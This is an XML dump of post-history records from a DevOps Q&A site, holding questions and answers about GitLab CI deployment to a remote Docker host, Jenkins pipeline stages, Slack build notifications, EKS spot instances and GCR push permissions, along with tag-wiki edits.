  <row Id="16479" PostHistoryTypeId="5" PostId="5146" RevisionGUID="6598cee7-58a4-489b-9cc4-9d62acb63523" CreationDate="2018-10-18T09:57:56.090" UserId="40" Comment="added 159 characters in body" Text="I am trying to deploy an docker image, which is located inside the gitlab.com registry, to an external docker host. The docker host was created using docker-machine. &#xD;&#xA;&#xD;&#xA;I am using a shared runner and the registry is private, so I will need to login first. To build the images and to run docker I'm using _[docker in docker][1]_. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is what I have so far:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    services:&#xD;&#xA;    - name: docker:dind&#xD;&#xA;      command: [&quot;--experimental&quot;]&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    #- build # Redacted&#xD;&#xA;    - deploy&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      PHP_IMAGE_REF: ${CI_REGISTRY_IMAGE}/php:${CI_BUILD_REF_NAME}&#xD;&#xA;      PHP_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/php:latest&#xD;&#xA;      NGINX_IMAGE_REF: ${CI_REGISTRY_IMAGE}/nginx:${CI_BUILD_REF_NAME}&#xD;&#xA;      NGINX_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/nginx:latest&#xD;&#xA;      LETS_ENCRYPT_MAIL: &quot;security@example.com&quot;&#xD;&#xA;&#xD;&#xA;    # Cache composer dependencies&#xD;&#xA;    cache:&#xD;&#xA;      paths:&#xD;&#xA;      - api/vendor&#xD;&#xA;&#xD;&#xA;    #################################&#xD;&#xA;    ##   Scripts for development   ##&#xD;&#xA;    #################################&#xD;&#xA;&#xD;&#xA;    # Deploy development to staging&#xD;&#xA;    deploy-staging:&#xD;&#xA;      stage: deploy&#xD;&#xA;      image: tmaier/docker-compose&#xD;&#xA;      variables:&#xD;&#xA;        SERVERNAME: staging.example.com&#xD;&#xA;        EMAIL: $LETS_ENCRYPT_MAIL&#xD;&#xA;        STAGE_DOCKER_HOST: &quot;tcp://159.xxx.xxx.xxx:2376&quot;&#xD;&#xA;      cache: {}&#xD;&#xA;      dependencies: []&#xD;&#xA;      before_script:&#xD;&#xA;      # Echo env vars for LetsEncrypt into .env&#xD;&#xA;      - echo &quot;VIRTUAL_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_EMAIL=$EMAIL&quot; &gt;&gt; .env; echo &quot;PHP_IMAGE=$PHP_IMAGE_REF&quot; &gt;&gt; .env; echo &quot;NGINX_IMAGE=$NGINX_IMAGE_REF&quot; &gt;&gt; .env&#xD;&#xA;      script:&#xD;&#xA;      # Login to gitlab registry&#xD;&#xA;      - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} registry.gitlab.com&#xD;&#xA;&#xD;&#xA;      # Setup connection to server&#xD;&#xA;      - mkdir -p ~/docker/certs&#xD;&#xA;      - echo ${STAGE_CA} &gt; ~/docker/certs/ca.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_CERT} &gt; ~/docker/certs/cert.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_KEY} &gt; ~/docker/certs/key.pem&#xD;&#xA;&#xD;&#xA;      # Shutdown services&#xD;&#xA;      - docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (nginx) image&#xD;&#xA;      - docker rmi $NGINX_IMAGE_REF || echo &quot;nginx image not exist&quot;&#xD;&#xA;      - docker pull $NGINX_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (php+app) image&#xD;&#xA;      - docker rmi $PHP_IMAGE_REF || echo &quot;php image not exist&quot;&#xD;&#xA;      - docker pull $PHP_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Recreate services&#xD;&#xA;      - docker-compose--file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem up -d&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: https://staging.example.com&#xD;&#xA;      only:&#xD;&#xA;      - development&#xD;&#xA;&#xD;&#xA;Unfortunately does the above result in the following error and the pipeline does not succeed. When I run the command: `docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v` on my local windows machine it works using the same certificates.&#xD;&#xA;&#xD;&#xA;    urllib3.connectionpool._new_conn: Starting new HTTPS connection (1): 159.xxx.xxx.xxx&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/bin/docker-compose&quot;, line 11, in &lt;module&gt;&#xD;&#xA;        sys.exit(main())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 71, in main&#xD;&#xA;        command()&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 124, in perform_command&#xD;&#xA;        project = project_from_options('.', options)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 41, in project_from_options&#xD;&#xA;        compatibility=options.get('--compatibility'),&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 121, in get_project&#xD;&#xA;        host=host, environment=environment&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 95, in get_client&#xD;&#xA;        version_info = six.iteritems(client.version())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/daemon.py&quot;, line 181, in version&#xD;&#xA;        return self._result(self._get(url), json=True)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/utils/decorators.py&quot;, line 46, in inner&#xD;&#xA;        return f(self, *args, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/client.py&quot;, line 198, in _get&#xD;&#xA;        return self.get(url, **self._set_request_timeout(kwargs))&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 521, in get&#xD;&#xA;        return self.request('GET', url, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 508, in request&#xD;&#xA;        resp = self.send(prep, **send_kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 618, in send&#xD;&#xA;        r = adapter.send(request, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/adapters.py&quot;, line 506, in send&#xD;&#xA;        raise SSLError(e, request=request)&#xD;&#xA;    requests.exceptions.SSLError: HTTPSConnectionPool(host='159.xxx.xxx.xxx', port=2376): Max retries exceeded with url: /v1.30/version (Caused by SSLError(SSLError(0, u'unknown error (_ssl.c:3027)'),))&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;I'm farily new to devops, so:&#xD;&#xA;---&#xD;&#xA;1. what options do I have?&#xD;&#xA;2. is there another/better way to deploy docker images to a remote docker host?&#xD;&#xA;3. ~could I solve the problem by using my own runner?~ __Tried that. Results more or less in the same.__ &#xD;&#xA;&#xD;&#xA;Note: As far as I understood does *dind* use the same docker version [Ref][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jpetazzo/dind&#xD;&#xA;  [2]: https://github.com/jpetazzo/dind#which-version-of-docker-does-it-run" ContentLicense="CC BY-SA 4.0" />
  <row Id="16480" PostHistoryTypeId="50" PostId="4987" RevisionGUID="91517fe0-c448-4ac5-9bb9-9521350f40a3" CreationDate="2018-10-18T10:00:00.387" UserId="-1" />
  <row Id="16481" PostHistoryTypeId="2" PostId="5210" RevisionGUID="5223a3af-f3d5-4c6d-9923-1952361e97fd" CreationDate="2018-10-18T10:08:11.730" UserId="9404" Text="&quot;best suited&quot; is the question. How do you measure this? what are the metrics and why do you choose them? I think you are looking for some kind of &quot;tools combination&quot;, earlier tested on production by someone elses if preferred. What you want to do is try some opensource/free private cloud on premises and run IaC on this private environment.You can test tools forever.How do you compare those tools? I believe all of them works fine as long as there is not any inconsistency problem.I think there is a missing/main part in your search when it comes to IaC.Because there also few options for that missing angle as well.I think it is better to create a chart for all of us as you are going this process in order to benefit people here.Do you have a working environment? If so could you please detail all the tools you used to create this environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16482" PostHistoryTypeId="5" PostId="5210" RevisionGUID="3eeb4bea-7c0f-4d61-843a-ef62cb9fea89" CreationDate="2018-10-18T10:29:36.327" UserId="9404" Comment="added 413 characters in body" Text="&quot;best suited&quot; is the question. How do you measure this? what are the metrics and why do you choose them? I think you are looking for some kind of &quot;tools combination&quot;, earlier tested on production by someone elses if preferred. What you want to do is try some opensource/free private cloud on premises and run IaC on this private environment.You can test tools forever.How do you compare those tools? I believe all of them works fine as long as there is not any inconsistency problem.I think there is a missing/main part in your search when it comes to IaC.Because there also few options for that missing angle as well.I think it is better to create a chart for all of us as you are going this process in order to benefit people here.Do you have a working environment? If so could you please detail all the tools you used to create this environment?&#xD;&#xA;&#xD;&#xA;Some vendors run open source projects.How about them?&#xD;&#xA; &#xD;&#xA;The Cloud Native Computing Foundation seeks to drive adoption of this paradigm by fostering and sustaining an ecosystem of open source, vendor-neutral projects.[CNCF Cloud Native Definition v1.0][1]&#xD;&#xA;&#xD;&#xA;I started to wonder if this is cloud native then what is it that is not cloud-native?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cncf/toc/blob/master/DEFINITION.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="16483" PostHistoryTypeId="2" PostId="5211" RevisionGUID="6dbbfe57-8e04-4325-8289-10bd05ab76b6" CreationDate="2018-10-18T10:45:00.427" UserId="9404" Text="Most Dockerfiles start from a parent image. If you need to completely control the contents of your image, you might need to create a base image instead.&#xD;&#xA;A base image either has no FROM line in its Dockerfile, or has FROM scratch.&#xD;&#xA;&#xD;&#xA;Create a full image using tar&#xD;&#xA;&#xD;&#xA;In general, start with a working machine that is running the distribution you’d like to package as a parent image, though that is not required for some tools like Debian’s Debootstrap, which you can also use to build Ubuntu images.&#xD;&#xA;&#xD;&#xA;There are more example scripts for creating parent images in the Docker GitHub Repo:&#xD;&#xA;&#xD;&#xA;    BusyBox&#xD;&#xA;    CentOS / Scientific Linux CERN (SLC) on Debian/Ubuntu or on CentOS/RHEL/SLC/etc.&#xD;&#xA;    Debian / Ubuntu&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Create a base image][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/baseimages/&#xD;&#xA;I guess after creating you can export this on docker hub with DockerFile." ContentLicense="CC BY-SA 4.0" />
  <row Id="16484" PostHistoryTypeId="50" PostId="4056" RevisionGUID="57fd066f-7f8c-4811-a6ca-c625932c9197" CreationDate="2018-10-18T12:00:37.767" UserId="-1" />
  <row Id="16485" PostHistoryTypeId="5" PostId="5203" RevisionGUID="09e1c2fb-96d2-4157-b261-96b9f57cad05" CreationDate="2018-10-18T15:14:37.723" UserId="4328" Comment="edited body" Text="I have a declarative jenkins pipeline that looks like the following:&#xD;&#xA;&#xD;&#xA;    pipeline{&#xD;&#xA;        agent {&#xD;&#xA;            ...&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;Provision EC2 Instance and Set ENV Variable&quot;){&#xD;&#xA;                steps {&#xD;&#xA;                    dir(&quot;docker-image-builder&quot;){ &#xD;&#xA;                        sh 'python ./provisonInstance.py'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage(&quot;Configure EC2 Instance with Ansible&quot;){&#xD;&#xA;                steps { &#xD;&#xA;                    ansiblePlaybook('./ansible.playbook.yml') {&#xD;&#xA;                        ansibleName('1.9.4')&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In my first stage, I have a python script that provisions an EC2 instance that will be used to create an AMI. In the second stage, I will then configure configure my instance before finally creating an AMI and terminating the instance. In order to do this, I need the instance-id of the EC2 instance created in the first stage. **Is there an elegant way to pass values generated by a script between stages, and if so how?** &#xD;&#xA;&#xD;&#xA;The most obvious method that I can think of is to write the value to a file on the agent in the first stage, and read it in the second stage, but this does not seem like an elegant solution. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16489" PostHistoryTypeId="5" PostId="2671" RevisionGUID="09423f13-2ff1-4584-8cb2-2420d680abf3" CreationDate="2018-10-18T15:48:35.410" UserId="1180" Comment="typo corrected" Text="For questions about OpenWhisk, an Apache serverless platform." ContentLicense="CC BY-SA 4.0" />
  <row Id="16490" PostHistoryTypeId="24" PostId="2671" RevisionGUID="09423f13-2ff1-4584-8cb2-2420d680abf3" CreationDate="2018-10-18T15:48:35.410" Comment="Proposed by 1180 approved by 40, 228 edit id of 808" ContentLicense="CC BY-SA 4.0" />
  <row Id="16491" PostHistoryTypeId="5" PostId="5205" RevisionGUID="914b2e8d-179f-47a7-a4bb-b02d8e7f06c1" CreationDate="2018-10-18T19:39:21.387" UserId="10393" Comment="added 124 characters in body" Text="I know how to notify build status using the slack notification plugin. I can see`project - #buildnumber Success after 1 min 18 sec (Open)` in my slack channel. But I want the console output to be sent to slack as well (upon failure) instead of a link. I am using free style project since I need some scripts to build my project. The purpose is that I want engineers to know the result of their build without granting them Jenkins access.&#xD;&#xA;&#xD;&#xA;##edit:&#xD;&#xA;if console log can be uploaded as a text, would be also good. Other forms of 'output' would be welcome as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="16492" PostHistoryTypeId="50" PostId="3081" RevisionGUID="19079b1a-5446-4ba5-bef1-a769c87b7af9" CreationDate="2018-10-18T20:00:51.553" UserId="-1" />
  <row Id="16496" PostHistoryTypeId="2" PostId="5213" RevisionGUID="8cf2bd1c-cbd6-4a26-9db5-6dd7aaaea575" CreationDate="2018-10-19T02:58:04.020" UserId="10414" Text="Posting the full stack trace tends to clog up the channel. Here are a few things you can do:&#xD;&#xA;&#xD;&#xA; - Send build status along with the Jenkins Job link to the Channel so Devs can come back to the link for debugging&#xD;&#xA; - Send stack trace as a file&#xD;&#xA; - Send build status as and link to channel and Stack trace info to the user who committed the code for build&#xD;&#xA;&#xD;&#xA;Either way, Post to Slack plugin along with other plugins will help you address this need.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16497" PostHistoryTypeId="2" PostId="5214" RevisionGUID="8c5f208f-1674-403b-b699-26b873b0b5b5" CreationDate="2018-10-19T05:36:40.293" UserId="8675" Text="When using AWS EKS, is it possible to set up the worker nodes on spot instances?&#xD;&#xA;how?&#xD;&#xA;Anything I special I should pay attention to, in such a setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16498" PostHistoryTypeId="1" PostId="5214" RevisionGUID="8c5f208f-1674-403b-b699-26b873b0b5b5" CreationDate="2018-10-19T05:36:40.293" UserId="8675" Text="Amazon EKS: using spot worker nodes" ContentLicense="CC BY-SA 4.0" />
  <row Id="16499" PostHistoryTypeId="3" PostId="5214" RevisionGUID="8c5f208f-1674-403b-b699-26b873b0b5b5" CreationDate="2018-10-19T05:36:40.293" UserId="8675" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16500" PostHistoryTypeId="4" PostId="5214" RevisionGUID="446c54e5-1bf5-4c68-8cf7-273b5fd5d69c" CreationDate="2018-10-19T05:43:06.670" UserId="8675" Comment="edited title" Text="Amazon EKS: using spot instances for worker nodes" ContentLicense="CC BY-SA 4.0" />
  <row Id="16503" PostHistoryTypeId="2" PostId="5215" RevisionGUID="bd3b0b98-a270-41fa-b745-0e9a0508f070" CreationDate="2018-10-19T12:40:57.510" UserId="9560" Text="I created a new VM instance on my GCE compute engine (I have Owner permissions). On that instance, I installed git, docker, and gcloud - everything is done under `sudo su`. &#xD;&#xA;&#xD;&#xA;I was hoping I can use that VM instance to deploy images to GCR, but whatever I do - **I cannot seem to have sufficient permissions to push** the images from that instance. &#xD;&#xA;&#xD;&#xA;1) I granted &quot;Storage Admin&quot; along with the &quot;Editor&quot; permissions to the VM Instance (autogenerated) IAM service-account. &#xD;&#xA;&#xD;&#xA;2) When I run `docker login eu.gcr.io` I receive `Login Succeeded` with no problems. &#xD;&#xA;&#xD;&#xA;3) I copied both a p12 key and a .json key to the .ssh folder (I generated them on the IAM console) - but that had no use too.&#xD;&#xA;&#xD;&#xA;4) To tag and push the docker image, I [use this:][1]: &#xD;&#xA;&#xD;&#xA;    docker tag [SOURCE_IMAGE] [HOSTNAME]/[PROJECT-ID]/[IMAGE]&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    docker push [HOSTNAME]/[PROJECT-ID]/[IMAGE]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Notice: It seems that at this stage (2018) `gcloud docker -- push` is obsolete (and it didn't work for me as well...) &#xD;&#xA;&#xD;&#xA;Notice: The bucket is NOT created yet, so setting permissions on the Storage console is out of the question at this point.&#xD;&#xA;&#xD;&#xA;What could be the reason for the Permission Denied problem ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/container-registry/docs/pushing-and-pulling" ContentLicense="CC BY-SA 4.0" />
  <row Id="16504" PostHistoryTypeId="1" PostId="5215" RevisionGUID="bd3b0b98-a270-41fa-b745-0e9a0508f070" CreationDate="2018-10-19T12:40:57.510" UserId="9560" Text="unable to push docker image in gce (gcr.io)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16505" PostHistoryTypeId="3" PostId="5215" RevisionGUID="bd3b0b98-a270-41fa-b745-0e9a0508f070" CreationDate="2018-10-19T12:40:57.510" UserId="9560" Text="&lt;docker&gt;&lt;google-compute-engine&gt;&lt;registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16506" PostHistoryTypeId="5" PostId="5208" RevisionGUID="4557b3a1-7a1f-499e-8f1e-7d2abc4716ec" CreationDate="2018-10-19T13:00:34.467" UserId="40" Comment="added 84 characters in body" Text="For questions about Composer, which is a PHP application library dependency manager." ContentLicense="CC BY-SA 4.0" />
  <row Id="16507" PostHistoryTypeId="24" PostId="5208" RevisionGUID="4557b3a1-7a1f-499e-8f1e-7d2abc4716ec" CreationDate="2018-10-19T13:00:34.467" Comment="Proposed by 40 approved by 228, 707 edit id of 812" ContentLicense="CC BY-SA 4.0" />
  <row Id="16508" PostHistoryTypeId="5" PostId="5039" RevisionGUID="60ea8839-306e-4747-b5e7-44372d04f158" CreationDate="2018-10-19T13:00:38.813" UserId="40" Comment="added 97 characters in body" Text="For questions about Nginx, which is a web server, reverse proxy, TCP stream proxy and mail proxy." ContentLicense="CC BY-SA 4.0" />
  <row Id="16509" PostHistoryTypeId="24" PostId="5039" RevisionGUID="60ea8839-306e-4747-b5e7-44372d04f158" CreationDate="2018-10-19T13:00:38.813" Comment="Proposed by 40 approved by 228, 707 edit id of 815" ContentLicense="CC BY-SA 4.0" />
  <row Id="16510" PostHistoryTypeId="5" PostId="5207" RevisionGUID="9967970c-aa19-48ec-b0d0-193eb06dbba9" CreationDate="2018-10-19T13:00:42.900" UserId="40" Comment="added 395 characters in body" Text="*Composer* is a PHP application library dependency manager.&#xD;&#xA;&#xD;&#xA;**Recommended Resources**:&#xD;&#xA;&#xD;&#xA;- [Official website][1].&#xD;&#xA;- [Getting started with Composer][2].&#xD;&#xA;- [Download Composer][3].&#xD;&#xA;&#xD;&#xA;**Related tags**: [tag:php] [tag:docker] [tag:drupal] [tag:continuous-deployment]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://getcomposer.org/&#xD;&#xA;  [2]: https://getcomposer.org/doc/00-intro.md&#xD;&#xA;  [3]: https://getcomposer.org/download/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16511" PostHistoryTypeId="24" PostId="5207" RevisionGUID="9967970c-aa19-48ec-b0d0-193eb06dbba9" CreationDate="2018-10-19T13:00:42.900" Comment="Proposed by 40 approved by 228, 707 edit id of 813" ContentLicense="CC BY-SA 4.0" />
  <row Id="16512" PostHistoryTypeId="5" PostId="5038" RevisionGUID="16549c62-5d00-4f0b-8bf1-58cdc370e0e8" CreationDate="2018-10-19T13:00:46.487" UserId="40" Comment="added 403 characters in body" Text="*Nginx* (= &quot;*Engine X*&quot;) is a free, open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server.&#xD;&#xA;&#xD;&#xA;**Recommended Resources**:&#xD;&#xA;&#xD;&#xA;- [Official website][1].&#xD;&#xA;- [Nginx Documentation][2].&#xD;&#xA;- [Download Nginx][3].&#xD;&#xA;&#xD;&#xA;**Related tags**: [tag:jenkins] [tag:docker]&#xD;&#xA;&#xD;&#xA;  [1]: https://nginx.org/en/&#xD;&#xA;  [2]: https://nginx.org/en/docs/&#xD;&#xA;  [3]: https://nginx.org/en/download.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16513" PostHistoryTypeId="24" PostId="5038" RevisionGUID="16549c62-5d00-4f0b-8bf1-58cdc370e0e8" CreationDate="2018-10-19T13:00:46.487" Comment="Proposed by 40 approved by 228, 707 edit id of 814" ContentLicense="CC BY-SA 4.0" />
  <row Id="16517" PostHistoryTypeId="2" PostId="5217" RevisionGUID="2b72ab98-9cb1-46d0-b4ff-8c1d711708e5" CreationDate="2018-10-19T14:05:36.757" UserId="7370" Text="I modified your Jenkins file as shown below. &#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent { label 'agent01'}&#xD;&#xA;    stages {&#xD;&#xA;        stage('build') {&#xD;&#xA;            steps {&#xD;&#xA;                echo &quot;build&quot;&#xD;&#xA;                sh &quot;ls -lrt &amp;&amp; touch build.txt&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('test') {&#xD;&#xA;            parallel {&#xD;&#xA;                stage('unit tests') {&#xD;&#xA;                    steps {&#xD;&#xA;                        echo &quot;unit tests&quot;&#xD;&#xA;                        sh &quot;ls -lrt &amp;&amp; touch ut.txt&quot;&#xD;&#xA;                        sleep(time:10,unit:&quot;SECONDS&quot;)&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;                stage('integration tests') {&#xD;&#xA;                    steps {&#xD;&#xA;                        echo &quot;integration tests&quot;&#xD;&#xA;                        sh &quot;ls -lrt &amp;&amp; touch it.txt&quot;&#xD;&#xA;                        sleep(time:10,unit:&quot;SECONDS&quot;)&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('deploy staging') {&#xD;&#xA;            agent { label 'master' }&#xD;&#xA;            steps {&#xD;&#xA;                echo &quot;deploy staging&quot;&#xD;&#xA;                sh &quot;ls -lrt &amp;&amp; touch dep.txt&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('confirm release') {&#xD;&#xA;            agent { label 'master' }&#xD;&#xA;            steps {&#xD;&#xA;                echo &quot;RELEASE?&quot;&#xD;&#xA;                sh &quot;ls -lrt &amp;&amp; touch release.txt&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('deploy production') {&#xD;&#xA;            steps {&#xD;&#xA;                echo &quot;deploy production&quot;&#xD;&#xA;                sh &quot;ls -lrt &amp;&amp; touch produ.txt&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA; 1. You need not stash and unstash files since it runs on same node and&#xD;&#xA;        workspace. &#xD;&#xA; 2. Use a general node for all the stages except for the one that needs a user input.&#xD;&#xA;&#xD;&#xA;The output is &#xD;&#xA;&#xD;&#xA;        Running in Durability level: MAX_SURVIVABILITY&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Running on agent01 in /var/jenkins_home/workspace/sandbox-pipeline&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (build)&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    build&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [sandbox-pipeline] Running shell script&#xD;&#xA;    + ls -lrt&#xD;&#xA;    total 0&#xD;&#xA;    + touch build.txt&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (test)&#xD;&#xA;    [Pipeline] parallel&#xD;&#xA;    [Pipeline]     [unit tests] { (Branch: unit tests)&#xD;&#xA;    [Pipeline]     [integration tests] { (Branch: integration tests)&#xD;&#xA;    [Pipeline]     [unit tests] stage&#xD;&#xA;    [Pipeline]     [unit tests] { (unit tests)&#xD;&#xA;    [Pipeline]     [integration tests] stage&#xD;&#xA;    [Pipeline]     [integration tests] { (integration tests)&#xD;&#xA;    [Pipeline]     [unit tests] echo&#xD;&#xA;    [unit tests] unit tests&#xD;&#xA;    [Pipeline]     [unit tests] sh&#xD;&#xA;    [unit tests]     [sandbox-pipeline] Running shell script&#xD;&#xA;    [Pipeline]     [integration tests] echo&#xD;&#xA;    [integration tests] integration tests&#xD;&#xA;    [Pipeline]     [integration tests] sh&#xD;&#xA;    [unit tests] + ls -lrt&#xD;&#xA;    [unit tests] total 0&#xD;&#xA;    [unit tests] -rw-r--r-- 1 jenkins docker 0 Oct 19 13:53 build.txt&#xD;&#xA;    [unit tests] + touch ut.txt&#xD;&#xA;    [integration tests]     [sandbox-pipeline] Running shell script&#xD;&#xA;    [Pipeline]     [unit tests] sleep&#xD;&#xA;    [integration tests] + ls -lrt&#xD;&#xA;    [integration tests] total 0&#xD;&#xA;    [integration tests] -rw-r--r-- 1 jenkins docker 0 Oct 19 13:53 build.txt&#xD;&#xA;    [integration tests] -rw-r--r-- 1 jenkins docker 0 Oct 19 13:53 ut.txt&#xD;&#xA;    [integration tests] + touch it.txt&#xD;&#xA;    [unit tests] Sleeping for 10 sec&#xD;&#xA;    [Pipeline]     [integration tests] sleep&#xD;&#xA;    [integration tests] Sleeping for 10 sec&#xD;&#xA;    [Pipeline]     [unit tests] }&#xD;&#xA;    [Pipeline]     [unit tests] // stage&#xD;&#xA;    [Pipeline]     [unit tests] }&#xD;&#xA;    [Pipeline]     [integration tests] }&#xD;&#xA;    [Pipeline]     [integration tests] // stage&#xD;&#xA;    [Pipeline]     [integration tests] }&#xD;&#xA;    [Pipeline] // parallel&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (deploy staging)&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Running on Jenkins in /var/jenkins_home/workspace/sandbox-pipeline&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    deploy staging&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [sandbox-pipeline] Running shell script&#xD;&#xA;    + ls -lrt&#xD;&#xA;    total 0&#xD;&#xA;    + touch dep.txt&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (confirm release)&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Running on Jenkins in /var/jenkins_home/workspace/sandbox-pipeline&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    RELEASE?&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [sandbox-pipeline] Running shell script&#xD;&#xA;    + ls -lrt&#xD;&#xA;    total 0&#xD;&#xA;    -rw-r--r-- 1 jenkins 115 0 Oct 19 13:58 dep.txt&#xD;&#xA;    + touch release.txt&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (deploy production)&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    deploy production&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [sandbox-pipeline] Running shell script&#xD;&#xA;    + ls -lrt&#xD;&#xA;    total 0&#xD;&#xA;    -rw-r--r-- 1 jenkins docker 0 Oct 19 13:53 build.txt&#xD;&#xA;    -rw-r--r-- 1 jenkins docker 0 Oct 19 13:53 ut.txt&#xD;&#xA;    -rw-r--r-- 1 jenkins docker 0 Oct 19 13:53 it.txt&#xD;&#xA;    + touch produ.txt&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    Finished: SUCCESS" ContentLicense="CC BY-SA 4.0" />
  <row Id="16522" PostHistoryTypeId="34" PostId="5146" RevisionGUID="11dfffe3-3e01-46c5-9682-f2b5623bb149" CreationDate="2018-10-19T22:00:33.983" UserId="-1" Comment="28" />
  <row Id="16526" PostHistoryTypeId="50" PostId="3066" RevisionGUID="e09d797b-c64b-4a2c-b1a0-e76eef16da9c" CreationDate="2018-10-19T23:00:29.783" UserId="-1" />
